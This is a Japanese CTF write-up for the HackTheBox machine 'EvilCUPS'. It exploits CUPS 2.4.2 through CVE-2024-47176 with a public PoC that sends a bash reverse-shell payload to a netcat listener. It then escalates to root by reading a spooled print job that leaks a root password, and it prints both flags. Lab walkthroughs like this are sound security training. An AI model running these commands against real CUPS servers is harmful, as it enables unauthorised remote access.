概要
HackTheBox「EvilCUPS」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A --min-rate 5000 -p- 10.10.11.40 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4
|_http-title: Home - CUPS 2.4.2
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 9.2p1 |
| 631 | ipp | CUPS 2.4 |
631ポートにアクセスします。
CUPS 2.4.2の脆弱性を検索するとCVE-2024-47176が見つかりました。
この脆弱性を悪用することでRCEができるようです。
攻撃には下記リポジトリを使用します。
Netcatでリッスンします。
$ nc -lnvp 1234
listening on [any] 1234 ...
PoCを実行します。
$ python evilcups.py 10.10.14.84 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.14.84/1234 0>&1"'
/printersを見るとプリンターが追加されています。
追加されたプリンターでPrint Test Pageをクリックするとリバースシェルが張れます。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.84] from (UNKNOWN) [10.10.11.40] 47826
bash: cannot set terminal process group (1789): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/home/htb/user.txtからユーザーフラグを入手できました。
a1e37aa0091c96493b2f015e6042c322
Root Flag
元々ターゲットの環境にはCanon_MB2300_seriesというプリンターがありました。
ドキュメントによると印刷ジョブファイルは/var/spool/cupsに保存されるようです。
また、データファイルがd00001-001,d99999-001,d100000-001のような形式で保存されることも分かりました。
/var/spool/cupsは権限がないのでディレクトリの中を見られませんでした。
lp@evilcups:/var/spool/cups$ ls -la
ls -la
ls: cannot open directory '.': Permission denied
lp@evilcups:/var/spool/cups$ ls -la ../
ls -la ../
total 24
drwxr-xr-x 6 root root 4096 Sep 30 19:55 .
drwxr-xr-x 11 root root 4096 Sep 28 10:02 ..
drwxr-xr-x 3 root root 4096 Sep 28 10:02 cron
drwx--x--- 3 root lp 4096 Oct 4 03:38 cups
drwxr-xr-x 2 lp lp 4096 Sep 30 19:55 lpd
lrwxrwxrwx 1 root root 7 Sep 27 21:03 mail -> ../mail
drwx------ 2 root root 4096 Feb 22 2023 rsyslog
元々のプリンターには完了したジョブID-1があります。
なのでファイル名がd00001-001になると予測できます。
なので/var/spool/cups/d00001-001ファイルを読み取ります。
(省略)
_S
18 36 translate
/pagenum 1 def
/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
(省略)
出力結果からパスワードらしき文字列を発見できたのでrootアカウントへログインを試みると成功しました。
$ su root
su root
Password: Br3@k-G!@ss-r00t-evilcups
root@evilcups:/var/spool/cups#
/root/root.txtからルートフラグを入手できます。
b22dc8db095caa23bb8883dd4153cbb4



